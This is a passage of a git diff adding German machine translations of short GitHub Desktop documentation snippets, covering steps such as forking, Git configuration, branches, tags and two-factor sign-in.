+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884590"
+---
+1. Besuche die [Downloadseite für {% data variables.product.prodname_desktop %}](https://desktop.github.com/).
diff --git a/translations/de-DE/data/reusables/desktop/fork-type-prompt.md b/translations/de-DE/data/reusables/desktop/fork-type-prompt.md
new file mode 100644
index 0000000000..9ea5911739
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/fork-type-prompt.md
@@ -0,0 +1,50 @@
+---
+ms.openlocfilehash: 5d678119f473246fbfbc8e8beca5c3520b833ac3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133294"
+---
+1. Wenn du diesen Fork verwenden möchtest, um am ursprünglichen Upstreamrepository mitzuwirken, klicke auf **Beitrag für das übergeordnete Projekt**.
+
+  {% mac %}
+
+  ![Menüoption „Beitrag für das übergeordnete Projekt“](/assets/images/help/desktop/mac-fork-options-prompt.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Menüoption „Beitrag für das übergeordnete Projekt“](/assets/images/help/desktop/windows-fork-options-prompt.png)
+
+  {% endwindows %}
+
+2. Wenn du diesen Fork für ein Projekt verwenden möchtest, das nicht mit dem Upstreamrepository zusammenhängt, klicke auf **Für meine eigenen Zwecke**.
+
+  {% mac %}
+
+  ![Menüoptionen für einen Beitrag zu einem unabhängigen Projekt](/assets/images/help/desktop/mac-fork-own-purposes.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Menüoptionen für einen Beitrag zu einem unabhängigen Projekt](/assets/images/help/desktop/windows-fork-own-purposes.png)
+
+  {% endwindows %}
+
+3. Klicken Sie auf **Weiter**.
+
+  {% mac %}
+
+  ![Schaltfläche „Weiter“](/assets/images/help/desktop/mac-forking-continue.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Schaltfläche „Weiter“](/assets/images/help/desktop/windows-forking-continue.png)
+
+  {% endwindows %}
+  
diff --git a/translations/de-DE/data/reusables/desktop/get-an-account.md b/translations/de-DE/data/reusables/desktop/get-an-account.md
new file mode 100644
index 0000000000..545cc0f5b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/get-an-account.md
@@ -0,0 +1,4 @@
+you must already have an account on {% data variables.location.product_location %}.
+
+- For more information on creating an account on {% data variables.location.product_location %} account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)".
+- For a {% data variables.product.prodname_enterprise %} account, contact your {% data variables.product.prodname_enterprise %} site administrator.
diff --git a/translations/de-DE/data/reusables/desktop/history-tab.md b/translations/de-DE/data/reusables/desktop/history-tab.md
new file mode 100644
index 0000000000..0415174e23
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/history-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 44e1547cd39855fffa033a08f1a3d2f2118e8385
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133270"
+---
+1. Klicke auf **Verlauf**.
+![Die Registerkarte „Verlauf“ ist auf der Seitenleiste ausgewählt](/assets/images/help/desktop/history-tab-in-commit-sidebar.png)
diff --git a/translations/de-DE/data/reusables/desktop/launch-desktop-from-command-line.md b/translations/de-DE/data/reusables/desktop/launch-desktop-from-command-line.md
new file mode 100644
index 0000000000..c79967d5e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/launch-desktop-from-command-line.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e011d4401fe82ab88a9228c49fef9ae23b5d6d30
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133269"
+---
+Um {% data variables.product.prodname_desktop %} im zuletzt geöffneten Repository zu starten, gib `github` ein. Um {% data variables.product.prodname_desktop %} für ein bestimmtes Repository zu starten, gib den Befehl `github` gefolgt vom Pfad zum Repository ein.
diff --git a/translations/de-DE/data/reusables/desktop/local-config-email.md b/translations/de-DE/data/reusables/desktop/local-config-email.md
new file mode 100644
index 0000000000..73ba952547
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/local-config-email.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c1225d2e0591e339419ee2bf4ebd47195228514c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061411"
+---
+1. Wähle unter **Email** das Dropdownmenü aus, und klicke auf die E-Mail, die du für deine lokale Git-Konfiguration verwenden möchtest.
+  ![Das Feld „Name“ der lokalen Git-Konfiguration](/assets/images/help/desktop/local-config-email.png)
diff --git a/translations/de-DE/data/reusables/desktop/local-config-name.md b/translations/de-DE/data/reusables/desktop/local-config-name.md
new file mode 100644
index 0000000000..efe98a1eff
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/local-config-name.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 900f49389d7b0d40869f72d171135669afb17f17
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881924"
+---
+1. Gib unter **Name** den Namen ein, den du für deine lokale Git-Konfiguration verwenden möchtest.
+  ![Das Feld „Name“ der lokalen Git-Konfiguration](/assets/images/help/desktop/local-config-name.png)
diff --git a/translations/de-DE/data/reusables/desktop/mac-repository-settings-menu.md b/translations/de-DE/data/reusables/desktop/mac-repository-settings-menu.md
new file mode 100644
index 0000000000..75cc5bb71d
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/mac-repository-settings-menu.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2056dae84baf4d40862aa20fb0687253b60571da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061410"
+---
+1. Klicke im Menü **Repository** auf **Repositoryeinstellungen...** . ![Menüoption „Repositoryeinstellungen“](/assets/images/help/desktop/repository-settings-mac.png)
diff --git a/translations/de-DE/data/reusables/desktop/mac-select-accounts.md b/translations/de-DE/data/reusables/desktop/mac-select-accounts.md
new file mode 100644
index 0000000000..ff11728b53
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/mac-select-accounts.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8a4ee46e1bde51f44ae19997246699f4bdb87d89
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133266"
+---
+1. Wähle im Fenster „Einstellungen“ die Option **Konten** aus.
+  ![Der Bereich „Konten“ im Fenster mit den Einstellungen](/assets/images/help/desktop/mac-select-accounts-pane.png)
diff --git a/translations/de-DE/data/reusables/desktop/mac-select-desktop-menu.md b/translations/de-DE/data/reusables/desktop/mac-select-desktop-menu.md
new file mode 100644
index 0000000000..fea8684e69
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/mac-select-desktop-menu.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8081e7e59ffda1479a6c87d95d1cc34e340d79d0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133265"
+---
+1. Verwende in der Menüleiste das Dropdownmenü **{% data variables.product.prodname_desktop %}** , und klicke dann auf **Voreinstellungen**.
+  ![Der Wert „Voreinstellungen“ im Dropdownmenü {% data variables.product.prodname_desktop %}](/assets/images/help/desktop/mac-choose-preferences.png)
diff --git a/translations/de-DE/data/reusables/desktop/make-changes.md b/translations/de-DE/data/reusables/desktop/make-changes.md
new file mode 100644
index 0000000000..fbaceb05b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/make-changes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 423c9740716c3019c9c0e1dfec3b948b753300f4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881683"
+---
+1. Nimm mit deinem bevorzugten Text-Editor, beispielsweise [Atom](https://atom.io/), die erforderlichen Änderungen an den Dateien in deinem Projekt vor.
diff --git a/translations/de-DE/data/reusables/desktop/name-branch.md b/translations/de-DE/data/reusables/desktop/name-branch.md
new file mode 100644
index 0000000000..8bba8d865c
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/name-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5fb1f235ce356b44383a455ad24a850cadbfeef3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133262"
+---
+1. Gib unter **Name** den Namen des neuen Branchs ein.
diff --git a/translations/de-DE/data/reusables/desktop/name-field-git-config.md b/translations/de-DE/data/reusables/desktop/name-field-git-config.md
new file mode 100644
index 0000000000..a5dd90132f
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/name-field-git-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c102183d8d60cf8d4c96ed785d0b2542580afd2f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133258"
+---
+1. Gib im Feld **Name** den Namen ein, den du für deine Git-Konfiguration verwenden möchtest.
diff --git a/translations/de-DE/data/reusables/desktop/name-tag.md b/translations/de-DE/data/reusables/desktop/name-tag.md
new file mode 100644
index 0000000000..8fdf928a5b
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/name-tag.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 05a1f302ed9e9e94f63da982755e071170d2b1e0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133257"
+---
+1. Gib den Namen des Tags ein.
+  ![Tagnamen eingeben](/assets/images/help/desktop/enter-tag-name.png)
diff --git a/translations/de-DE/data/reusables/desktop/navigate-to-stashed-changes.md b/translations/de-DE/data/reusables/desktop/navigate-to-stashed-changes.md
new file mode 100644
index 0000000000..6e8b49edb1
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/navigate-to-stashed-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a81175a14b3025f482154c241ec09fc15fce056f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133254"
+---
+1. Wenn du dich noch nicht in dem Branch befindest, in dem die Änderungen gestasht sind, klicke auf {% octicon "git-branch" aria-label="The branch icon" %} **Current Branch** und anschließend auf den Branch mit gestashten Änderungen.
+  ![Liste der Branches im Repository](/assets/images/help/desktop/click-branch-in-drop-down-mac.png)
diff --git a/translations/de-DE/data/reusables/desktop/open-repository-settings.md b/translations/de-DE/data/reusables/desktop/open-repository-settings.md
new file mode 100644
index 0000000000..45a2a5c485
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/open-repository-settings.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: 3867cf990f6df6b792472271ed3fcac0b2851ae3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133233"
+---
+1. Öffne das Menü **Repository** und klicke dann auf **Repository-Einstellungen**.
+
+  {% mac %}
+
+  ![Menüoption Repository-Einstellungen in der Mac-App](/assets/images/help/desktop/mac-repository-settings.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Menüoption Repository-Einstellungen in der Windows-App](/assets/images/help/desktop/windows-repository-settings.png)
+
+  {% endwindows %}
+  
diff --git a/translations/de-DE/data/reusables/desktop/preferences-options-tabs.md b/translations/de-DE/data/reusables/desktop/preferences-options-tabs.md
new file mode 100644
index 0000000000..eb69a01eb7
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/preferences-options-tabs.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 1830b28932a5480c65bc0f28cef13ccd93d60fb1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881675"
+---
+    - Wähle **Konten** aus, um ein {% data variables.product.prodname_dotcom %}- oder {% data variables.product.prodname_enterprise %}-Konto hinzuzufügen oder zu entfernen.
+    - Wähle **Integrationen** aus, um einen externen Editor oder eine externe Shell auszuwählen.
+    - Wähle **Git** aus, um deine Git-Konfiguration zu bearbeiten.
+    - Wähle **Darstellung** aus, um zwischen dem hellen oder dunklen Design zu wechseln.
+    - Wähle **Eingabeaufforderungen** aus, um Bestätigungsdialogfelder zu aktivieren oder zu deaktivieren, bevor du destruktive Aktionen ausführst.
+    - Wähle **Erweitert** für weitere Konfigurationsoptionen aus.
diff --git a/translations/de-DE/data/reusables/desktop/protected-branches.md b/translations/de-DE/data/reusables/desktop/protected-branches.md
new file mode 100644
index 0000000000..e49051af28
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/protected-branches.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 84502a0e13ce1dd75f251b3fe9ff371aef4d6f8a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133226"
+---
+Repository-Administratoren können den Schutz für einen Branch aktivieren. Wenn Du auf einem geschützten Branch arbeitest, kannst Du den Push an den Branch nicht löschen oder erzwingen. Repositoryadministrator*innen können andere Einstellungen für geschützte Branches aktivieren, um bestimmte Workflows zu erzwingen, bevor ein Branch zusammengeführt werden kann. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/articles/about-protected-branches).
diff --git a/translations/de-DE/data/reusables/desktop/publish-repository.md b/translations/de-DE/data/reusables/desktop/publish-repository.md
new file mode 100644
index 0000000000..fb7002a8f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/publish-repository.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ba9a59706e77cc3f762d501f7c3a7f7c610cf86b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133222"
+---
+3. Klicke auf der Symbolleiste auf die Schaltfläche **Repository veröffentlichen**.
+  ![Die Schaltfläche „Repository veröffentlichen“ auf der Symbolleiste](/assets/images/help/desktop/publish-repository-toolbar-button.png)
diff --git a/translations/de-DE/data/reusables/desktop/push-origin.md b/translations/de-DE/data/reusables/desktop/push-origin.md
new file mode 100644
index 0000000000..23c4714cc7
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/push-origin.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 869890dc93c5f8acada33703806efb0909ce3c25
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133225"
+---
+1. Klicke auf **Ursprung pushen**, um deine lokalen Änderungen an das Remoterepository zu pushen.
+![Die Schaltfläche „Pushen“](/assets/images/help/desktop/push-origin-button.png)
diff --git a/translations/de-DE/data/reusables/desktop/repository-settings-save.md b/translations/de-DE/data/reusables/desktop/repository-settings-save.md
new file mode 100644
index 0000000000..8688b67ad8
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/repository-settings-save.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a7a065fa04a767c700467c85bb10121628e8a792
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061399"
+---
+1. Klicken Sie auf **Speichern**.
+  ![Die Schaltfläche „Speichern“](/assets/images/help/desktop/repository-settings-save.png)
diff --git a/translations/de-DE/data/reusables/desktop/resolve-merge-conflicts.md b/translations/de-DE/data/reusables/desktop/resolve-merge-conflicts.md
new file mode 100644
index 0000000000..6109f67b24
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/resolve-merge-conflicts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b049fb4f8afc0f549dd8d1b6407e6a6957ab4924
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133221"
+---
+1. Behebe Mergekonflikte auf Deine bevorzugte Weise mithilfe eines Texteditors, der Befehlszeile oder eines anderen Tools. Weitere Informationen findest du unter [Informationen zu Mergekonflikten](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts).
diff --git a/translations/de-DE/data/reusables/desktop/retrieve-2fa.md b/translations/de-DE/data/reusables/desktop/retrieve-2fa.md
new file mode 100644
index 0000000000..b3903f5de4
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/retrieve-2fa.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 8ce5074496913c768c4ff56afaa968df9be4f39b
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879251"
+---
+1. Führe einen der folgenden Schritte aus, wenn du die zweistufige Authentifizierung für {% data variables.product.prodname_enterprise %} konfiguriert hast:
+    - Wenn du die Zwei-Faktor-Authentifizierung per SMS eingerichtet hast, rufst du deinen2FA-Code aus einer SMS ab.
+    - Wenn du die Zwei-Faktor-Authentifizierung mit einer TOTP-Anwendung eingerichtet hast, generierst du einen 2FA-Code.
+
+  Gib dann deinen 2FA-Code an der Eingabeaufforderung für {% data variables.product.prodname_desktop %} ein, und klicke auf **Anmelden**.
+    ![Das Feld für den 2FA-Authentifizierungscode](/assets/images/help/desktop/mac-2fa-code-prompt.png)
diff --git a/translations/de-DE/data/reusables/desktop/return-to-desktop.md b/translations/de-DE/data/reusables/desktop/return-to-desktop.md
new file mode 100644
index 0000000000..875bce3037
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/return-to-desktop.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ec52b0511c6ec58105abf2a4e0ecd7ce6d56a0fe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880589"
+---
+1. Kehre zu {% data variables.product.prodname_desktop %} zurück.
diff --git a/translations/de-DE/data/reusables/desktop/revert-commit.md b/translations/de-DE/data/reusables/desktop/revert-commit.md
new file mode 100644
index 0000000000..8e8da8b5d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/revert-commit.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0043716af7ec93186fa70781b8688ae9f02c10b5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133214"
+---
+1. Klicke mit der rechten Maustaste auf den Commit, den du zurücksetzen möchtest, und klicke auf **Änderungen in Commit zurücksetzen**.
diff --git a/translations/de-DE/data/reusables/desktop/select-base-branch.md b/translations/de-DE/data/reusables/desktop/select-base-branch.md
new file mode 100644
index 0000000000..8daea80321
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/select-base-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8b5aa7f4b273658b2e6a3690e91b7a9bf7c2fe2c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133193"
+---
+1. Verwende das Dropdownfeld, um einen Basisbranch für deinen neuen Branch auszuwählen.
diff --git a/translations/de-DE/data/reusables/desktop/select-branch-to-delete.md b/translations/de-DE/data/reusables/desktop/select-branch-to-delete.md
new file mode 100644
index 0000000000..9198608033
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/select-branch-to-delete.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b9a3ef6ac64e7c7621e07682b5b74e791dfb67f3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133190"
+---
+1. Klicke oben in der App auf {% octicon "git-branch" aria-label="The branch icon" %} **Aktueller Branch** und dann auf den Branch, den du löschen möchtest.
diff --git a/translations/de-DE/data/reusables/desktop/select-discard-files.md b/translations/de-DE/data/reusables/desktop/select-discard-files.md
new file mode 100644
index 0000000000..416c60819b
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/select-discard-files.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 149f089d2308d27913255a0d340e5ab254fde829
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133189"
+---
+1. Wähle in der Liste der geänderten Dateien die Dateien aus, in denen du die Änderungen seit dem letzten Commit verwerfen möchtest. Um mehrere Dateien auszuwählen, drücke die `shift`-Taste, und klicke auf den Bereich der Dateien, deren Änderungen du verwerfen möchtest.
+  ![Auswahl mehrerer Dateien mit zu verwerfenden Änderungen](/assets/images/help/desktop/select-multiple-files-discard.png)
diff --git a/translations/de-DE/data/reusables/desktop/select-email-git-config.md b/translations/de-DE/data/reusables/desktop/select-email-git-config.md
new file mode 100644
index 0000000000..395a90e795
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/select-email-git-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f58f74060032d4fbe80a2a2807a711473b07adab
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061386"
+---
+1. Wähle die Dropdownliste **E-Mail** aus, und klicke auf die E-Mail-Adresse, die du für deine Commits verwenden möchtest.
diff --git a/translations/de-DE/data/reusables/desktop/select-fork-behavior.md b/translations/de-DE/data/reusables/desktop/select-fork-behavior.md
new file mode 100644
index 0000000000..6f23b683b0
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/select-fork-behavior.md
@@ -0,0 +1,36 @@
+---
+ms.openlocfilehash: 1baaac068c008a45a8a9446dfccaf83c5901b1ba
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133186"
+---
+1. Klicke auf **Forkverhalten**, und wähle dann aus, wie du den Fork verwenden möchtest.
+
+  {% mac %}
+
+  ![Der Beitrag zur Option für übergeordnete Repositorys im Menü „Forkverhalten“](/assets/images/help/desktop/mac-fork-behavior-menu-contribute.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Der Beitrag zur Option für übergeordnete Repositorys im Menü „Forkverhalten“](/assets/images/help/desktop/windows-fork-behavior-menu-contribute.png)
+
+  {% endwindows %}
+
+2. Klicken Sie auf **Speichern**.
+
+  {% mac %}
+
+  ![Schaltfläche „Speichern“ im Menü „Forkverhalten“](/assets/images/help/desktop/mac-fork-behavior-save.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Schaltfläche „Speichern“ im Menü „Forkverhalten“](/assets/images/help/desktop/windows-fork-behavior-save.png)
+
+  {% endwindows %}
+  
diff --git a/translations/de-DE/data/reusables/desktop/select-git-config.md b/translations/de-DE/data/reusables/desktop/select-git-config.md
new file mode 100644
index 0000000000..8bbf6b69f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/select-git-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 784733756880b590fbf40e17afd51467bffe62d6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061391"
+---
+1. Klicke auf **Git Config**. ![Git Config-Option](/assets/images/help/desktop/select-git-config.png)
diff --git a/translations/de-DE/data/reusables/desktop/sign-in-browser.md b/translations/de-DE/data/reusables/desktop/sign-in-browser.md
new file mode 100644
index 0000000000..98cc6d7d3d
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/sign-in-browser.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3d5bc90d880464f465c0266c24a61967517fc856
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063858"
+---
+1. Klicke im Bereich „Über den Browser anmelden“ auf **Mit Browser fortfahren**. Von {% data variables.product.prodname_desktop %} wird der Standardbrowser geöffnet.
+  ![Der Link „Sign in using your browser“ (Mit dem Browser anmelden)](/assets/images/help/desktop/sign-in-browser.png)
diff --git a/translations/de-DE/data/reusables/desktop/sign-in-choose-product.md b/translations/de-DE/data/reusables/desktop/sign-in-choose-product.md
new file mode 100644
index 0000000000..392d624a32
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/sign-in-choose-product.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d9c6acd12be0050d922c7eaf7cf92720704fe112
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133182"
+---
+1. Melde Dich bei {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} an.
diff --git a/translations/de-DE/data/reusables/desktop/switching-between-branches.md b/translations/de-DE/data/reusables/desktop/switching-between-branches.md
new file mode 100644
index 0000000000..a0823671a0
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/switching-between-branches.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 596abd24553913bcc10157f60b5b1b7dc2412a3b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133181"
+---
+1. Klicke in der Liste der Branches auf den Branch, zu dem Du wechseln möchtest.
diff --git a/translations/de-DE/data/reusables/desktop/tags-push-with-commits.md b/translations/de-DE/data/reusables/desktop/tags-push-with-commits.md
new file mode 100644
index 0000000000..02e0b24037
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/tags-push-with-commits.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 20ddc595c0afbad628021860bec6f5766ee8e170
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133178"
+---
+Standardmäßig überträgt {% data variables.product.prodname_desktop %} den von Dir erstellten Tag in Dein Repository mit dem zugehörigen Commit.
diff --git a/translations/de-DE/data/reusables/desktop/update-email-address.md b/translations/de-DE/data/reusables/desktop/update-email-address.md
new file mode 100644
index 0000000000..b8012192a3
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/update-email-address.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 738c4cb35ba10ff06a16b928860fbed2aaa8c283
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133177"
+---
+Wenn die Commits, die du in {% data variables.product.prodname_desktop %} vornimmst, mit dem falschen Konto auf {% data variables.product.product_name %} verknüpft sind, aktualisiere die E-Mail-Adresse in deiner Git-Konfiguration mithilfe von {% data variables.product.prodname_desktop %}.
diff --git a/translations/de-DE/data/reusables/desktop/use-local-git-config.md b/translations/de-DE/data/reusables/desktop/use-local-git-config.md
new file mode 100644
index 0000000000..572854419d
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/use-local-git-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f5103f29628e2ffd4343ceeab703b947ccc363d7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
